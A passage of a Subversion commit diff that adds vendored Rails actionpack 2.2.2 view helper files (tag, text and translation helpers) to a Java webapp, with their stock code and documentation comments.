+      #   this additional CSS class when an accepted +draggable_element+ is
+      #   hovered over it.                         
+      #                          
+      # * <tt>:onDrop</tt> - Called when a +draggable_element+ is dropped onto
+      #   this element. Override this callback with a JavaScript expression to 
+      #   change the default drop behaviour. Example:
+      #                          
+      #     :onDrop => "function(draggable_element, droppable_element, event) { alert('I like bananas') }"
+      #                          
+      #   This callback gets three parameters: The Draggable element, the Droppable
+      #   element and the Event object. You can extract additional information about
+      #   the drop - like if the Ctrl or Shift keys were pressed - from the Event object.
+      #                          
+      # * <tt>:with</tt> - A JavaScript expression specifying the parameters for
+      #   the XMLHttpRequest. Any expressions should return a valid URL query string.
+      def drop_receiving_element(element_id, options = {})
+        javascript_tag(drop_receiving_element_js(element_id, options).chop!)
+      end
+      
+      def drop_receiving_element_js(element_id, options = {}) #:nodoc:
+        options[:with]     ||= "'id=' + encodeURIComponent(element.id)"
+        options[:onDrop]   ||= "function(element){" + remote_function(options) + "}"
+        options.delete_if { |key, value| PrototypeHelper::AJAX_OPTIONS.include?(key) }
+
+        options[:accept] = array_or_string_for_javascript(options[:accept]) if options[:accept]    
+        options[:hoverclass] = "'#{options[:hoverclass]}'" if options[:hoverclass]
+        
+        # Confirmation happens during the onDrop callback, so it can be removed from the options
+        options.delete(:confirm) if options[:confirm]
+
+        %(Droppables.add(#{element_id.to_json}, #{options_for_javascript(options)});)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/tag_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/tag_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/tag_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,151 @@
+require 'cgi'
+require 'erb'
+require 'set'
+
+module ActionView
+  module Helpers #:nodoc:
+    # Provides methods to generate HTML tags programmatically when you can't use
+    # a Builder. By default, they output XHTML compliant tags.
+    module TagHelper
+      include ERB::Util
+
+      BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked).to_set
+      BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map(&:to_sym))
+
+      # Returns an empty HTML tag of type +name+ which by default is XHTML
+      # compliant. Set +open+ to true to create an open tag compatible
+      # with HTML 4.0 and below. Add HTML attributes by passing an attributes
+      # hash to +options+. Set +escape+ to false to disable attribute value
+      # escaping.
+      #
+      # ==== Options
+      # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
+      # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
+      # symbols or strings for the attribute names.
+      #
+      # ==== Examples
+      #   tag("br")
+      #   # => <br />
+      #
+      #   tag("br", nil, true)
+      #   # => <br>
+      #
+      #   tag("input", { :type => 'text', :disabled => true })
+      #   # => <input type="text" disabled="disabled" />
+      #
+      #   tag("img", { :src => "open & shut.png" })
+      #   # => <img src="open &amp; shut.png" />
+      #
+      #   tag("img", { :src => "open &amp; shut.png" }, false, false)
+      #   # => <img src="open &amp; shut.png" />
+      def tag(name, options = nil, open = false, escape = true)
+        "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}"
+      end
+
+      # Returns an HTML block tag of type +name+ surrounding the +content+. Add
+      # HTML attributes by passing an attributes hash to +options+.
+      # Instead of passing the content as an argument, you can also use a block
+      # in which case, you pass your +options+ as the second parameter.
+      # Set escape to false to disable attribute value escaping.
+      #
+      # ==== Options
+      # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
+      # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
+      # symbols or strings for the attribute names.
+      #
+      # ==== Examples
+      #   content_tag(:p, "Hello world!")
+      #    # => <p>Hello world!</p>
+      #   content_tag(:div, content_tag(:p, "Hello world!"), :class => "strong")
+      #    # => <div class="strong"><p>Hello world!</p></div>
+      #   content_tag("select", options, :multiple => true)
+      #    # => <select multiple="multiple">...options...</select>
+      #
+      #   <% content_tag :div, :class => "strong" do -%>
+      #     Hello world!
+      #   <% end -%>
+      #    # => <div class="strong">Hello world!</div>
+      def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
+        if block_given?
+          options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+          content_tag = content_tag_string(name, capture(&block), options, escape)
+
+          if block_called_from_erb?(block)
+            concat(content_tag)
+          else
+            content_tag
+          end
+        else
+          content_tag_string(name, content_or_options_with_block, options, escape)
+        end
+      end
+
+      # Returns a CDATA section with the given +content+.  CDATA sections
+      # are used to escape blocks of text containing characters which would
+      # otherwise be recognized as markup. CDATA sections begin with the string
+      # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
+      #
+      # ==== Examples
+      #   cdata_section("<hello world>")
+      #   # => <![CDATA[<hello world>]]>
+      #
+      #   cdata_section(File.read("hello_world.txt"))
+      #   # => <![CDATA[<hello from a text file]]>
+      def cdata_section(content)
+        "<![CDATA[#{content}]]>"
+      end
+
+      # Returns an escaped version of +html+ without affecting existing escaped entities.
+      #
+      # ==== Examples
+      #   escape_once("1 > 2 &amp; 3")
+      #   # => "1 &lt; 2 &amp; 3"
+      #
+      #   escape_once("&lt;&lt; Accept & Checkout")
+      #   # => "&lt;&lt; Accept &amp; Checkout"
+      def escape_once(html)
+        html.to_s.gsub(/[\"><]|&(?!([a-zA-Z]+|(#\d+));)/) { |special| ERB::Util::HTML_ESCAPE[special] }
+      end
+
+      private
+        BLOCK_CALLED_FROM_ERB = 'defined? __in_erb_template'
+
+        if RUBY_VERSION < '1.9.0'
+          # Check whether we're called from an erb template.
+          # We'd return a string in any other case, but erb <%= ... %>
+          # can't take an <% end %> later on, so we have to use <% ... %>
+          # and implicitly concat.
+          def block_called_from_erb?(block)
+            block && eval(BLOCK_CALLED_FROM_ERB, block)
+          end
+        else
+          def block_called_from_erb?(block)
+            block && eval(BLOCK_CALLED_FROM_ERB, block.binding)
+          end
+        end
+
+        def content_tag_string(name, content, options, escape = true)
+          tag_options = tag_options(options, escape) if options
+          "<#{name}#{tag_options}>#{content}</#{name}>"
+        end
+
+        def tag_options(options, escape = true)
+          unless options.blank?
+            attrs = []
+            if escape
+              options.each_pair do |key, value|
+                if BOOLEAN_ATTRIBUTES.include?(key)
+                  attrs << %(#{key}="#{key}") if value
+                else
+                  attrs << %(#{key}="#{escape_once(value)}") if !value.nil?
+                end
+              end
+            else
+              attrs = options.map { |key, value| %(#{key}="#{value}") }
+            end
+            " #{attrs.sort * ' '}" unless attrs.empty?
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/text_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/text_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/text_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,601 @@
+require 'action_view/helpers/tag_helper'
+
+begin
+  require 'html/document'
+rescue LoadError
+  html_scanner_path = "#{File.dirname(__FILE__)}/../../action_controller/vendor/html-scanner"
+  if File.directory?(html_scanner_path)
+    $:.unshift html_scanner_path
+    require 'html/document'
+  end
+end
+
+module ActionView
+  module Helpers #:nodoc:
+    # The TextHelper module provides a set of methods for filtering, formatting
+    # and transforming strings, which can reduce the amount of inline Ruby code in
+    # your views. These helper methods extend ActionView making them callable
+    # within your template files.
+    module TextHelper
+      # The preferred method of outputting text in your views is to use the
+      # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
+      # do not operate as expected in an eRuby code block. If you absolutely must
+      # output text within a non-output code block (i.e., <% %>), you can use the concat method.
+      #
+      # ==== Examples
+      #   <%
+      #       concat "hello"
+      #       # is the equivalent of <%= "hello" %>
+      #
+      #       if (logged_in == true):
+      #         concat "Logged in!"
+      #       else
+      #         concat link_to('login', :action => login)
+      #       end
+      #       # will either display "Logged in!" or a login link
+      #   %>
+      def concat(string, unused_binding = nil)
+        if unused_binding
+          ActiveSupport::Deprecation.warn("The binding argument of #concat is no longer needed.  Please remove it from your views and helpers.", caller)
+        end
+
+        output_buffer << string
+      end
+
+      # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
+      # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...").
+      #
+      # ==== Examples
+      #
+      #   truncate("Once upon a time in a world far far away")
+      #   # => Once upon a time in a world f...
+      #
+      #   truncate("Once upon a time in a world far far away", :length => 14)
+      #   # => Once upon a...
+      #
+      #   truncate("And they found that many people were sleeping better.", :length => 25, "(clipped)")
+      #   # => And they found that many (clipped)
+      #
+      #   truncate("And they found that many people were sleeping better.", :omission => "... (continued)", :length => 15)
+      #   # => And they found... (continued)
+      #
+      # You can still use <tt>truncate</tt> with the old API that accepts the
+      # +length+ as its optional second and the +ellipsis+ as its
+      # optional third parameter:
+      #   truncate("Once upon a time in a world far far away", 14)
+      #   # => Once upon a time in a world f...
+      #
+      #   truncate("And they found that many people were sleeping better.", 15, "... (continued)")
+      #   # => And they found... (continued)
+      def truncate(text, *args)
+        options = args.extract_options!
+        unless args.empty?
+          ActiveSupport::Deprecation.warn('truncate takes an option hash instead of separate ' +
+            'length and omission arguments', caller)
+
+          options[:length] = args[0] || 30
+          options[:omission] = args[1] || "..."
+        end
+        options.reverse_merge!(:length => 30, :omission => "...")
+
+        if text
+          l = options[:length] - options[:omission].mb_chars.length
+          chars = text.mb_chars
+          (chars.length > options[:length] ? chars[0...l] + options[:omission] : text).to_s
+        end
+      end
+
+      # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
+      # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
+      # as a single-quoted string with \1 where the phrase is to be inserted (defaults to
+      # '<strong class="highlight">\1</strong>')
+      #
+      # ==== Examples
+      #   highlight('You searched for: rails', 'rails')
+      #   # => You searched for: <strong class="highlight">rails</strong>
+      #
+      #   highlight('You searched for: ruby, rails, dhh', 'actionpack')
+      #   # => You searched for: ruby, rails, dhh
+      #
+      #   highlight('You searched for: rails', ['for', 'rails'], :highlighter => '<em>\1</em>')
+      #   # => You searched <em>for</em>: <em>rails</em>
+      #
+      #   highlight('You searched for: rails', 'rails', :highlighter => '<a href="search?q=\1">\1</a>')
+      #   # => You searched for: <a href="search?q=rails">rails</a>
+      #
+      # You can still use <tt>highlight</tt> with the old API that accepts the
+      # +highlighter+ as its optional third parameter:
+      #   highlight('You searched for: rails', 'rails', '<a href="search?q=\1">\1</a>')     # => You searched for: <a href="search?q=rails">rails</a>
+      def highlight(text, phrases, *args)
+        options = args.extract_options!
+        unless args.empty?
+          options[:highlighter] = args[0] || '<strong class="highlight">\1</strong>'
+        end
+        options.reverse_merge!(:highlighter => '<strong class="highlight">\1</strong>')
+
+        if text.blank? || phrases.blank?
+          text
+        else
+          match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
+          text.gsub(/(#{match})/i, options[:highlighter])
+        end
+      end
+
+      # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
+      # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
+      # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
+      # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. The resulting string
+      # will be stripped in any case. If the +phrase+ isn't found, nil is returned.
+      #
+      # ==== Examples
+      #   excerpt('This is an example', 'an', :radius => 5)
+      #   # => ...s is an exam...
+      #
+      #   excerpt('This is an example', 'is', :radius => 5)
+      #   # => This is a...
+      #
+      #   excerpt('This is an example', 'is')
+      #   # => This is an example
+      #
+      #   excerpt('This next thing is an example', 'ex', :radius => 2)
+      #   # => ...next...
+      #
+      #   excerpt('This is also an example', 'an', :radius => 8, :omission => '<chop> ')
+      #   # => <chop> is also an example
+      #
+      # You can still use <tt>excerpt</tt> with the old API that accepts the
+      # +radius+ as its optional third and the +ellipsis+ as its
+      # optional forth parameter:
+      #   excerpt('This is an example', 'an', 5)                   # => ...s is an exam...
+      #   excerpt('This is also an example', 'an', 8, '<chop> ')   # => <chop> is also an example
+      def excerpt(text, phrase, *args)
+        options = args.extract_options!
+        unless args.empty?
+          options[:radius] = args[0] || 100
+          options[:omission] = args[1] || "..."
+        end
+        options.reverse_merge!(:radius => 100, :omission => "...")
+
+        if text && phrase
+          phrase = Regexp.escape(phrase)
+
+          if found_pos = text.mb_chars =~ /(#{phrase})/i
+            start_pos = [ found_pos - options[:radius], 0 ].max
+            end_pos   = [ [ found_pos + phrase.mb_chars.length + options[:radius] - 1, 0].max, text.mb_chars.length ].min
+
+            prefix  = start_pos > 0 ? options[:omission] : ""
+            postfix = end_pos < text.mb_chars.length - 1 ? options[:omission] : ""
+
+            prefix + text.mb_chars[start_pos..end_pos].strip + postfix
+          else
+            nil
+          end
+        end
+      end
+
+      # Attempts to pluralize the +singular+ word unless +count+ is 1. If
+      # +plural+ is supplied, it will use that when count is > 1, otherwise
+      # it will use the Inflector to determine the plural form
+      #
+      # ==== Examples
+      #   pluralize(1, 'person')
+      #   # => 1 person
+      #
+      #   pluralize(2, 'person')
+      #   # => 2 people
+      #
+      #   pluralize(3, 'person', 'users')
+      #   # => 3 users
+      #
+      #   pluralize(0, 'person')
+      #   # => 0 people
+      def pluralize(count, singular, plural = nil)
+        "#{count || 0} " + ((count == 1 || count == '1') ? singular : (plural || singular.pluralize))
+      end
+
+      # Wraps the +text+ into lines no longer than +line_width+ width. This method
+      # breaks on the first whitespace character that does not exceed +line_width+
+      # (which is 80 by default).
+      #
+      # ==== Examples
+      #
+      #   word_wrap('Once upon a time')
+      #   # => Once upon a time
+      #
+      #   word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
+      #   # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\n a successor to the throne turned out to be more trouble than anyone could have\n imagined...
+      #
+      #   word_wrap('Once upon a time', :line_width => 8)
+      #   # => Once upon\na time
+      #
+      #   word_wrap('Once upon a time', :line_width => 1)
+      #   # => Once\nupon\na\ntime
+      #
+      # You can still use <tt>word_wrap</tt> with the old API that accepts the
+      # +line_width+ as its optional second parameter:
+      #   word_wrap('Once upon a time', 8)     # => Once upon\na time
+      def word_wrap(text, *args)
+        options = args.extract_options!
+        unless args.blank?
+          options[:line_width] = args[0] || 80
+        end
+        options.reverse_merge!(:line_width => 80)
+
+        text.split("\n").collect do |line|
+          line.length > options[:line_width] ? line.gsub(/(.{1,#{options[:line_width]}})(\s+|$)/, "\\1\n").strip : line
+        end * "\n"
+      end
+
+      begin
+        require_library_or_gem "redcloth" unless Object.const_defined?(:RedCloth)
+
+        # Returns the text with all the Textile[http://www.textism.com/tools/textile] codes turned into HTML tags.
+        #
+        # You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
+        # <i>This method is only available if RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
+        # is available</i>.
+        #
+        # ==== Examples
+        #   textilize("*This is Textile!*  Rejoice!")
+        #   # => "<p><strong>This is Textile!</strong>  Rejoice!</p>"
+        #
+        #   textilize("I _love_ ROR(Ruby on Rails)!")
+        #   # => "<p>I <em>love</em> <acronym title="Ruby on Rails">ROR</acronym>!</p>"
+        #
+        #   textilize("h2. Textile makes markup -easy- simple!")
+        #   # => "<h2>Textile makes markup <del>easy</del> simple!</h2>"
+        #
+        #   textilize("Visit the Rails website "here":http://www.rubyonrails.org/.)
+        #   # => "<p>Visit the Rails website <a href="http://www.rubyonrails.org/">here</a>.</p>"
+        def textilize(text)
+          if text.blank?
+            ""
+          else
+            textilized = RedCloth.new(text, [ :hard_breaks ])
+            textilized.hard_breaks = true if textilized.respond_to?(:hard_breaks=)
+            textilized.to_html
+          end
+        end
+
+        # Returns the text with all the Textile codes turned into HTML tags,
+        # but without the bounding <p> tag that RedCloth adds.
+        #
+        # You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
+        # <i>This method is only available if RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
+        # is available</i>.
+        #
+        # ==== Examples
+        #   textilize_without_paragraph("*This is Textile!*  Rejoice!")
+        #   # => "<strong>This is Textile!</strong>  Rejoice!"
+        #
+        #   textilize_without_paragraph("I _love_ ROR(Ruby on Rails)!")
+        #   # => "I <em>love</em> <acronym title="Ruby on Rails">ROR</acronym>!"
+        #
+        #   textilize_without_paragraph("h2. Textile makes markup -easy- simple!")
+        #   # => "<h2>Textile makes markup <del>easy</del> simple!</h2>"
+        #
+        #   textilize_without_paragraph("Visit the Rails website "here":http://www.rubyonrails.org/.)
+        #   # => "Visit the Rails website <a href="http://www.rubyonrails.org/">here</a>."
+        def textilize_without_paragraph(text)
+          textiled = textilize(text)
+          if textiled[0..2] == "<p>" then textiled = textiled[3..-1] end
+          if textiled[-4..-1] == "</p>" then textiled = textiled[0..-5] end
+          return textiled
+        end
+      rescue LoadError
+        # We can't really help what's not there
+      end
+
+      begin
+        require_library_or_gem "bluecloth" unless Object.const_defined?(:BlueCloth)
+
+        # Returns the text with all the Markdown codes turned into HTML tags.
+        # <i>This method is only available if BlueCloth[http://www.deveiate.org/projects/BlueCloth]
+        # is available</i>.
+        #
+        # ==== Examples
+        #   markdown("We are using __Markdown__ now!")
+        #   # => "<p>We are using <strong>Markdown</strong> now!</p>"
+        #
+        #   markdown("We like to _write_ `code`, not just _read_ it!")
+        #   # => "<p>We like to <em>write</em> <code>code</code>, not just <em>read</em> it!</p>"
+        #
+        #   markdown("The [Markdown website](http://daringfireball.net/projects/markdown/) has more information.")
+        #   # => "<p>The <a href="http://daringfireball.net/projects/markdown/">Markdown website</a>
+        #   #     has more information.</p>"
+        #
+        #   markdown('![The ROR logo](http://rubyonrails.com/images/rails.png "Ruby on Rails")')
+        #   # => '<p><img src="http://rubyonrails.com/images/rails.png" alt="The ROR logo" title="Ruby on Rails" /></p>'
+        def markdown(text)
+          text.blank? ? "" : BlueCloth.new(text).to_html
+        end
+      rescue LoadError
+        # We can't really help what's not there
+      end
+
+      # Returns +text+ transformed into HTML using simple formatting rules.
+      # Two or more consecutive newlines(<tt>\n\n</tt>) are considered as a
+      # paragraph and wrapped in <tt><p></tt> tags. One newline (<tt>\n</tt>) is
+      # considered as a linebreak and a <tt><br /></tt> tag is appended. This
+      # method does not remove the newlines from the +text+.
+      #
+      # You can pass any HTML attributes into <tt>html_options</tt>.  These
+      # will be added to all created paragraphs.
+      # ==== Examples
+      #   my_text = "Here is some basic text...\n...with a line break."
+      #
+      #   simple_format(my_text)
+      #   # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
+      #
+      #   more_text = "We want to put a paragraph...\n\n...right there."
+      #
+      #   simple_format(more_text)
+      #   # => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
+      #
+      #   simple_format("Look ma! A class!", :class => 'description')
+      #   # => "<p class='description'>Look ma! A class!</p>"
+      def simple_format(text, html_options={})
+        start_tag = tag('p', html_options, true)
+        text = text.to_s.dup
+        text.gsub!(/\r\n?/, "\n")                    # \r\n and \r -> \n
+        text.gsub!(/\n\n+/, "</p>\n\n#{start_tag}")  # 2+ newline  -> paragraph
+        text.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') # 1 newline   -> br
+        text.insert 0, start_tag
+        text << "</p>"
+      end
+
+      # Turns all URLs and e-mail addresses into clickable links. The <tt>:link</tt> option
+      # will limit what should be linked. You can add HTML attributes to the links using
+      # <tt>:href_options</tt>. Possible values for <tt>:link</tt> are <tt>:all</tt> (default),
+      # <tt>:email_addresses</tt>, and <tt>:urls</tt>. If a block is given, each URL and
+      # e-mail address is yielded and the result is used as the link text.
+      #
+      # ==== Examples
+      #   auto_link("Go to http://www.rubyonrails.org and say hello to david at loudthinking.com")
+      #   # => "Go to <a href=\"http://www.rubyonrails.org\">http://www.rubyonrails.org</a> and
+      #   #     say hello to <a href=\"mailto:david at loudthinking.com\">david at loudthinking.com</a>"
+      #
+      #   auto_link("Visit http://www.loudthinking.com/ or e-mail david at loudthinking.com", :link => :urls)
+      #   # => "Visit <a href=\"http://www.loudthinking.com/\">http://www.loudthinking.com/</a>
+      #   #     or e-mail david at loudthinking.com"
+      #
+      #   auto_link("Visit http://www.loudthinking.com/ or e-mail david at loudthinking.com", :link => :email_addresses)
+      #   # => "Visit http://www.loudthinking.com/ or e-mail <a href=\"mailto:david at loudthinking.com\">david at loudthinking.com</a>"
+      #
+      #   post_body = "Welcome to my new blog at http://www.myblog.com/.  Please e-mail me at me at email.com."
+      #   auto_link(post_body, :href_options => { :target => '_blank' }) do |text|
+      #     truncate(text, 15)
+      #   end
+      #   # => "Welcome to my new blog at <a href=\"http://www.myblog.com/\" target=\"_blank\">http://www.m...</a>.
+      #         Please e-mail me at <a href=\"mailto:me at email.com\">me at email.com</a>."
+      #
+      #
+      # You can still use <tt>auto_link</tt> with the old API that accepts the
+      # +link+ as its optional second parameter and the +html_options+ hash
+      # as its optional third parameter:
+      #   post_body = "Welcome to my new blog at http://www.myblog.com/. Please e-mail me at me at email.com."
+      #   auto_link(post_body, :urls)     # => Once upon\na time
+      #   # => "Welcome to my new blog at <a href=\"http://www.myblog.com/\">http://www.myblog.com</a>.
+      #         Please e-mail me at me at email.com."
+      #
+      #   auto_link(post_body, :all, :target => "_blank")     # => Once upon\na time
+      #   # => "Welcome to my new blog at <a href=\"http://www.myblog.com/\" target=\"_blank\">http://www.myblog.com</a>.
+      #         Please e-mail me at <a href=\"mailto:me at email.com\">me at email.com</a>."
+      def auto_link(text, *args, &block)#link = :all, href_options = {}, &block)
+        return '' if text.blank?
+
+        options = args.size == 2 ? {} : args.extract_options! # this is necessary because the old auto_link API has a Hash as its last parameter
+        unless args.empty?
+          options[:link] = args[0] || :all
+          options[:html] = args[1] || {}
+        end
+        options.reverse_merge!(:link => :all, :html => {})
+
+        case options[:link].to_sym
+          when :all                         then auto_link_email_addresses(auto_link_urls(text, options[:html], &block), &block)
+          when :email_addresses             then auto_link_email_addresses(text, &block)
+          when :urls                        then auto_link_urls(text, options[:html], &block)
+        end
+      end
+
+      # Creates a Cycle object whose _to_s_ method cycles through elements of an
+      # array every time it is called. This can be used for example, to alternate
+      # classes for table rows.  You can use named cycles to allow nesting in loops.
+      # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
+      # named cycle. The default name for a cycle without a +:name+ key is
+      # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle
+      # and passing the name of the cycle. The current cycle string can be obtained
+      # anytime using the current_cycle method.
+      #
+      # ==== Examples
+      #   # Alternate CSS classes for even and odd numbers...
+      #   @items = [1,2,3,4]
+      #   <table>
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("even", "odd") -%>">
+      #       <td>item</td>
+      #     </tr>
+      #   <% end %>
+      #   </table>
+      #
+      #
+      #   # Cycle CSS classes for rows, and text colors for values within each row
+      #   @items = x = [{:first => 'Robert', :middle => 'Daniel', :last => 'James'},
+      #                {:first => 'Emily', :middle => 'Shannon', :maiden => 'Pike', :last => 'Hicks'},
+      #               {:first => 'June', :middle => 'Dae', :last => 'Jones'}]
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("even", "odd", :name => "row_class") -%>">
+      #       <td>
+      #         <% item.values.each do |value| %>
+      #           <%# Create a named cycle "colors" %>
+      #           <span style="color:<%= cycle("red", "green", "blue", :name => "colors") -%>">
+      #             <%= value %>
+      #           </span>
+      #         <% end %>
+      #         <% reset_cycle("colors") %>
+      #       </td>
+      #    </tr>
+      #  <% end %>
+      def cycle(first_value, *values)
+        if (values.last.instance_of? Hash)
+          params = values.pop
+          name = params[:name]
+        else
+          name = "default"
+        end
+        values.unshift(first_value)
+
+        cycle = get_cycle(name)
+        if (cycle.nil? || cycle.values != values)
+          cycle = set_cycle(name, Cycle.new(*values))
+        end
+        return cycle.to_s
+      end
+
+      # Returns the current cycle string after a cycle has been started. Useful
+      # for complex table highlighing or any other design need which requires
+      # the current cycle string in more than one place.
+      #
+      # ==== Example
+      #   # Alternate background colors
+      #   @items = [1,2,3,4]
+      #   <% @items.each do |item| %>
+      #     <div style="background-color:<%= cycle("red","white","blue") %>">
+      #       <span style="background-color:<%= current_cycle %>"><%= item %></span>
+      #     </div>
+      #   <% end %>
+      def current_cycle(name = "default")
+        cycle = get_cycle(name)
+        cycle.current_value unless cycle.nil?
+      end
+
+      # Resets a cycle so that it starts from the first element the next time
+      # it is called. Pass in +name+ to reset a named cycle.
+      #
+      # ==== Example
+      #   # Alternate CSS classes for even and odd numbers...
+      #   @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
+      #   <table>
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("even", "odd") -%>">
+      #         <% item.each do |value| %>
+      #           <span style="color:<%= cycle("#333", "#666", "#999", :name => "colors") -%>">
+      #             <%= value %>
+      #           </span>
+      #         <% end %>
+      #
+      #         <% reset_cycle("colors") %>
+      #     </tr>
+      #   <% end %>
+      #   </table>
+      def reset_cycle(name = "default")
+        cycle = get_cycle(name)
+        cycle.reset unless cycle.nil?
+      end
+
+      class Cycle #:nodoc:
+        attr_reader :values
+
+        def initialize(first_value, *values)
+          @values = values.unshift(first_value)
+          reset
+        end
+
+        def reset
+          @index = 0
+        end
+
+        def current_value
+          @values[previous_index].to_s
+        end
+
+        def to_s
+          value = @values[@index].to_s
+          @index = next_index
+          return value
+        end
+
+        private
+
+        def next_index
+          step_index(1)
+        end
+
+        def previous_index
+          step_index(-1)
+        end
+
+        def step_index(n)
+          (@index + n) % @values.size
+        end
+      end
+
+      private
+        # The cycle helpers need to store the cycles in a place that is
+        # guaranteed to be reset every time a page is rendered, so it
+        # uses an instance variable of ActionView::Base.
+        def get_cycle(name)
+          @_cycles = Hash.new unless defined?(@_cycles)
+          return @_cycles[name]
+        end
+
+        def set_cycle(name, cycle_object)
+          @_cycles = Hash.new unless defined?(@_cycles)
+          @_cycles[name] = cycle_object
+        end
+
+        AUTO_LINK_RE = %r{
+                        (                          # leading text
+                          <\w+.*?>|                # leading HTML tag, or
+                          [^=!:'"/]|               # leading punctuation, or
+                          ^                        # beginning of line
+                        )
+                        (
+                          (?:https?://)|           # protocol spec, or
+                          (?:www\.)                # www.*
+                        )
+                        (
+                          [-\w]+                   # subdomain or domain
+                          (?:\.[-\w]+)*            # remaining subdomains or domain
+                          (?::\d+)?                # port
+                          (?:/(?:[~\w\+@%=\(\)-]|(?:[,.;:'][^\s$]))*)* # path
+                          (?:\?[\w\+@%&=.;:-]+)?     # query string
+                          (?:\#[\w\-]*)?           # trailing anchor
+                        )
+                        ([[:punct:]]|<|$|)       # trailing text
+                       }x unless const_defined?(:AUTO_LINK_RE)
+
+        # Turns all urls into clickable links.  If a block is given, each url
+        # is yielded and the result is used as the link text.
+        def auto_link_urls(text, html_options = {})
+          extra_options = tag_options(html_options.stringify_keys) || ""
+          text.gsub(AUTO_LINK_RE) do
+            all, a, b, c, d = $&, $1, $2, $3, $4
+            if a =~ /<a\s/i # don't replace URL's that are already linked
+              all
+            else
+              text = b + c
+              text = yield(text) if block_given?
+              %(#{a}<a href="#{b=="www."?"http://www.":b}#{c}"#{extra_options}>#{text}</a>#{d})
+            end
+          end
+        end
+
+        # Turns all email addresses into clickable links.  If a block is given,
+        # each email is yielded and the result is used as the link text.
+        def auto_link_email_addresses(text)
+          body = text.dup
+          text.gsub(/([\w\.!#\$%\-+.]+@[A-Za-z0-9\-]+(\.[A-Za-z0-9\-]+)+)/) do
+            text = $1
+
+            if body.match(/<a\b[^>]*>(.*)(#{Regexp.escape(text)})(.*)<\/a>/)
+              text
+            else
+              display_text = (block_given?) ? yield(text) : text
+              %{<a href="mailto:#{text}">#{display_text}</a>}
+            end
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/translation_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/translation_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/translation_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+  module Helpers
+    module TranslationHelper
+      def translate(key, options = {})
+        options[:raise] = true
+        I18n.translate(key, options)
+      rescue I18n::MissingTranslationData => e
+        keys = I18n.send(:normalize_translation_keys, e.locale, e.key, e.options[:scope])
+        content_tag('span', keys.join(', '), :class => 'translation_missing')
+      end
+      alias :t :translate
+
+      def localize(*args)
+        I18n.localize *args
+      end
+      alias :l :localize
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/url_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/url_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/url_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,615 @@
+require 'action_view/helpers/javascript_helper'
+
+module ActionView
+  module Helpers #:nodoc:
+    # Provides a set of methods for making links and getting URLs that
+    # depend on the routing subsystem (see ActionController::Routing).
